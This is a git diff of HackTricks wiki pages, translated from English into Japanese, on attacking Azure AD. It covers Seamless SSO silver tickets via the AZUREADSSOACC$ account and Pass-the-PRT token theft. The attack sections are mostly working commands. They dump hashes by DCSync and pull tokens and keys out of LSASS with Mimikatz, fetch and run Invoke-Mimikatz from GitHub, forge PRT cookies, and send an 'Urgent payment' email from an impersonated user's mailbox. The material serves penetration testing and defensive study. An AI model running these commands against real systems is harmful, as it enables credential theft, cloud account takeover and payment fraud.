**Azure AD**は、Kerberos **チケット**を受け入れる**エンドポイント** (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加マシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**:
|
||||
### オンプレミス -> クラウド
|
||||
|
||||
ユーザーの**`AZUREADSSOACC$`のパスワードは決して変更されません**。したがって、ドメイン管理者はこのアカウントの**ハッシュを危険にさらすことができ**、それを使用して**シルバーチケットを作成し、任意のオンプレミスユーザーと同期してAzureに接続することができます**。
|
||||
```powershell
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
@@ -39,9 +38,7 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
|
||||
With the hash you can now **generate silver tickets**:
|
||||
|
||||
ハッシュを使用して、**シルバーチケットを生成**できます:
|
||||
```powershell
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -56,58 +53,53 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
シルバーチケットを利用するには、以下の手順を実行する必要があります:
|
||||
|
||||
To utilize the silver ticket, the following steps should be executed:
|
||||
|
||||
1. **Initiate the Browser:** Mozilla Firefox should be launched.
|
||||
2. **Configure the Browser:**
|
||||
- Navigate to **`about:config`**.
|
||||
- Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **Access the Web Application:**
|
||||
- Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/).
|
||||
4. **Authentication Process:**
|
||||
- At the logon screen, the username should be entered, leaving the password field blank.
|
||||
- To proceed, press either TAB or ENTER.
|
||||
1. **ブラウザを起動する:** Mozilla Firefoxを起動します。
|
||||
2. **ブラウザを設定する:**
|
||||
- **`about:config`**に移動します。
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[値](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します:
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **Webアプリケーションにアクセスする:**
|
||||
- 組織のAADドメインに統合されたWebアプリケーションにアクセスします。一般的な例は[Office 365](https://portal.office.com/)です。
|
||||
4. **認証プロセス:**
|
||||
- ログイン画面で、ユーザー名を入力し、パスワードフィールドは空白のままにします。
|
||||
- 続行するには、TABまたはENTERを押します。
|
||||
|
||||
> [!TIP]
|
||||
> This doesn't bypass MFA if enabled
|
||||
> これにより、MFAが有効な場合はバイパスされません
|
||||
|
||||
#### Option 2 without dcsync - SeamlessPass
|
||||
#### オプション2 dcsyncなし - SeamlessPass
|
||||
|
||||
It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following:
|
||||
この攻撃は、**dcsync攻撃なしで**よりステルスに実行することも可能です。これは[このブログ記事](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で説明されています。そのためには、以下のいずれかが必要です:
|
||||
|
||||
- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user.
|
||||
- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT
|
||||
- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
|
||||
|
||||
Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with:
|
||||
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。
|
||||
- **ゴールデンチケット**: KRBTGTキーを持っていれば、攻撃対象のユーザーに必要なTGTを作成できます。
|
||||
- **侵害されたユーザーのNTLMハッシュまたはAESキー:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成します。
|
||||
- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報と攻撃対象のユーザーのセキュリティ識別子(SID)を使用して、サービスチケットを作成し、クラウドに認証することが可能です(前の方法で実行されたように)。
|
||||
|
||||
最後に、TGTを使用して、[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)ツールを使用することができます:
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
さらなる情報は、FirefoxをシームレスSSOで動作させるために[**このブログ記事**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で見つけることができます。
|
||||
|
||||
Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
#### ~~クラウド専用ユーザーのためのKerberosチケットの作成~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
#### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
Active Directory管理者がAzure AD Connectにアクセスできる場合、**任意のクラウドユーザーのSIDを設定**することができます。この方法で、Kerberos **チケット**は**クラウド専用ユーザーのためにも作成**できます。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
|
||||
|
||||
> [!CAUTION]
|
||||
> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\
|
||||
> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
> クラウド専用管理ユーザーのSIDを変更することは現在**Microsoftによってブロックされています**。\
|
||||
> 詳細は[https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)を確認してください。
|
||||
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**.
|
||||
### オンプレミス -> クラウドへのリソースベースの制約付き委任 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
このアカウントが存在するコンテナまたはOU内のコンピューターアカウント(`AZUREADSSOACC$`)を管理できる人は、**アカウントに対してリソースベースの制約付き委任を構成し、アクセスすることができます**。
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
@@ -115,7 +107,3 @@ python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,77 +2,72 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a PRT
|
||||
## PRTとは何か
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Check if you have a PRT
|
||||
|
||||
### PRTがあるか確認する
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
|
||||
In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**.
|
||||
SSOステートセクションでは、**`AzureAdPrt`**が**YES**に設定されているのが確認できます。
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`):
|
||||
同じ出力で、**デバイスがAzureに参加しているか**(フィールド`AzureAdJoined`で)も確認できます:
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Cookie
|
||||
|
||||
The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:
|
||||
## PRTクッキー
|
||||
|
||||
PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JSON Web Token(JWT)です。JWTは**3つの部分**、**ヘッダー**、**ペイロード**、**署名**から構成され、`.`で区切られ、すべてURLセーフなbase64エンコードされています。典型的なPRTクッキーは以下のヘッダーとボディを含みます:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
実際の **Primary Refresh Token (PRT)** は **`refresh_token`** 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド **`is_primary`** は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce` は `logon.microsoftonline.com` ページから送信されます。
|
||||
|
||||
The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page.
|
||||
### TPMを使用したPRTクッキーフロー
|
||||
|
||||
### PRT Cookie flow using TPM
|
||||
**LSASS** プロセスは **KDFコンテキスト** を TPM に送信し、TPM は **セッションキー**(デバイスが AzureAD に登録されたときに収集され、TPM に保存された)と前のコンテキストを使用して **キーを導出** し、この **導出されたキー** は **PRTクッキー (JWT) を署名するために使用されます。**
|
||||
|
||||
The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).**
|
||||
**KDFコンテキストは** AzureAD からのノンスと PRT を混ぜた **JWT** であり、**コンテキスト**(ランダムバイト)を含みます。
|
||||
|
||||
The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes).
|
||||
|
||||
Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
|
||||
したがって、PRT が TPM 内にあるために抽出できない場合でも、LSASS を悪用して **新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する** ことが可能です。
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Abuse Scenarios
|
||||
## PRT悪用シナリオ
|
||||
|
||||
As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\
|
||||
This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages.
|
||||
**通常のユーザー** として、LSASS に SSO データを要求することで **PRTの使用を要求する** ことが可能です。\
|
||||
これは、**Web Account Manager**(トークンブローカー)からトークンを要求する **ネイティブアプリ** のように行うことができます。WAM はリクエストを **LSASS** に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、**PRTクッキー** を **ヘッダー** として使用して Azure AS ログインページへのリクエストを認証する **ブラウザベース(ウェブ)フロー** でも行うことができます。
|
||||
|
||||
As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs.
|
||||
**SYSTEM** として、TPM によって保護されていない場合は **PRTを盗むことができ**、または **LSASS 内のPRTキーと相互作用する** ことができます。
|
||||
|
||||
## Pass-the-PRT Attack Examples
|
||||
## Pass-the-PRT攻撃の例
|
||||
|
||||
### Attack - ROADtoken
|
||||
### 攻撃 - ROADtoken
|
||||
|
||||
For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.
|
||||
|
||||
To generate a valid PRT cookie the first thing you need is a nonce.\
|
||||
You can get this with:
|
||||
この方法の詳細については、[**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken は正しいディレクトリから **`BrowserCore.exe`** を実行し、これを使用して **PRTクッキーを取得** します。このクッキーはその後、ROADtools を使用して認証し、**永続的なリフレッシュトークンを取得** するために使用できます。
|
||||
|
||||
有効な PRT クッキーを生成するために最初に必要なのはノンスです。\
|
||||
これを取得するには:
|
||||
```powershell
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
@@ -81,27 +76,19 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
|
||||
Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
|
||||
または [**roadrecon**](https://github.com/dirkjanm/ROADtools) を使用して:
|
||||
```powershell
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
|
||||
Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):
|
||||
|
||||
次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます(攻撃するユーザーのプロセスからツールを実行します):
|
||||
```powershell
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
|
||||
As oneliner:
|
||||
|
||||
```powershell
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
|
||||
Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:
|
||||
|
||||
次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**して**ログイン**できます:
|
||||
```powershell
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
@@ -109,13 +96,11 @@ roadrecon auth --prt-cookie <prt_cookie>
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### 攻撃 - roadreconを使用
|
||||
|
||||
### Attack - Using roadrecon
|
||||
|
||||
### Attack - Using AADInternals and a leaked PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token.
|
||||
### 攻撃 - AADInternalsと漏洩したPRTを使用
|
||||
|
||||
`Get-AADIntUserPRTToken` **ユーザーのPRTトークンを取得**します Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 `BrowserCore.exe`を使用してPRTトークンを取得します。
|
||||
```powershell
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
@@ -123,9 +108,7 @@ $prtToken = Get-AADIntUserPRTToken
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
|
||||
Or if you have the values from Mimikatz you can also use AADInternals to generate a token:
|
||||
|
||||
また、Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます:
|
||||
```powershell
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
@@ -153,40 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
|
||||
Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
次に、[https://portal.azure.com](https://portal.azure.com)に移動します。
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
> 残りはデフォルトのはずです。ページを更新できて、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度実行する必要があります。消えない場合は、問題ありません。
|
||||
|
||||
### Attack - Mimikatz
|
||||
### 攻撃 - Mimikatz
|
||||
|
||||
#### Steps
|
||||
#### ステップ
|
||||
|
||||
1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use.
|
||||
2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
1. **PRT(プライマリリフレッシュトークン)がLSASS**(ローカルセキュリティ認証局サブシステムサービス)から抽出され、後で使用するために保存されます。
|
||||
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号化する必要があります。DPAPI(データ保護API)に関する詳細情報は、これらのリソースで確認できます:[HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。
|
||||
3. セッションキーの復号化後、**PRTのための派生キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、派生キーはクッキーを構成するJWT(JSON Webトークン)に署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\
|
||||
> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).**
|
||||
> PRTがTPM内にあり、`lsass`内にない場合、**mimikatzはそれを抽出できません**。\
|
||||
> ただし、TPMからのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能です(オプション3を確認してください)。**
|
||||
|
||||
You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
|
||||
|
||||
You can use **mimikatz** to extract the PRT:
|
||||
> これは、2021年8月の修正後、他のユーザーのPRTトークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分のPRTを取得できるからです(ローカル管理者は他のユーザーのPRTにアクセスできません)が、自分のPRTにはアクセスできます。
|
||||
|
||||
**mimikatz**を使用してPRTを抽出できます:
|
||||
```powershell
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
@@ -196,93 +175,76 @@ Sekurlsa::cloudap
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Copy** the part labeled **Prt** and save it.\
|
||||
Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
|
||||
**Prt**とラベル付けされた部分を**コピー**して保存します。\
|
||||
また、下にハイライトされている**`ProofOfPossesionKey`**フィールドの**`KeyValue`**のセッションキーも抽出します。これは暗号化されており、復号化するためにDPAPIマスタキーを使用する必要があります。
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10.
|
||||
|
||||
To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so:
|
||||
> PRTデータが表示されない場合、デバイスがAzure ADに参加していないために**PRTがない**か、**古いバージョン**のWindows 10を**実行している**可能性があります。
|
||||
|
||||
セッションキーを**復号化**するには、**SYSTEM**に権限を**昇格**させてコンピュータコンテキストで実行し、**DPAPIマスタキーを使用して復号化**できるようにする必要があります。次のコマンドを使用して実行できます:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 1 - Full Mimikatz
|
||||
#### オプション 1 - フル Mimikatz
|
||||
|
||||
- Now you want to copy both the Context value:
|
||||
- 現在、両方のコンテキスト値をコピーしたいです:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- And the derived key value:
|
||||
- そして、派生キー値を:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Finally you can use all this info to **generate PRT cookies**:
|
||||
|
||||
- 最後に、これらの情報を使用して**PRTクッキーを生成**できます:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
- [https://login.microsoftonline.com](https://login.microsoftonline.com)に移動し、login.microsoftonline.comのすべてのクッキーをクリアして、新しいクッキーを入力します。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
- Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
- 次に [https://portal.azure.com](https://portal.azure.com) に移動します。
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
> 残りはデフォルトのままで大丈夫です。ページを更新でき、クッキーが消えないことを確認してください。消える場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
|
||||
|
||||
#### Option 2 - roadrecon using PRT
|
||||
|
||||
- Renew the PRT first, which will save it in `roadtx.prt`:
|
||||
#### オプション 2 - PRTを使用したroadrecon
|
||||
|
||||
- まずPRTを更新し、`roadtx.prt`に保存します:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
|
||||
- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
|
||||
|
||||
- これで、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンにMFAクレームが含まれていることがわかります。これは、今回使用したPRTにもMFAクレームが含まれていたためです。
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
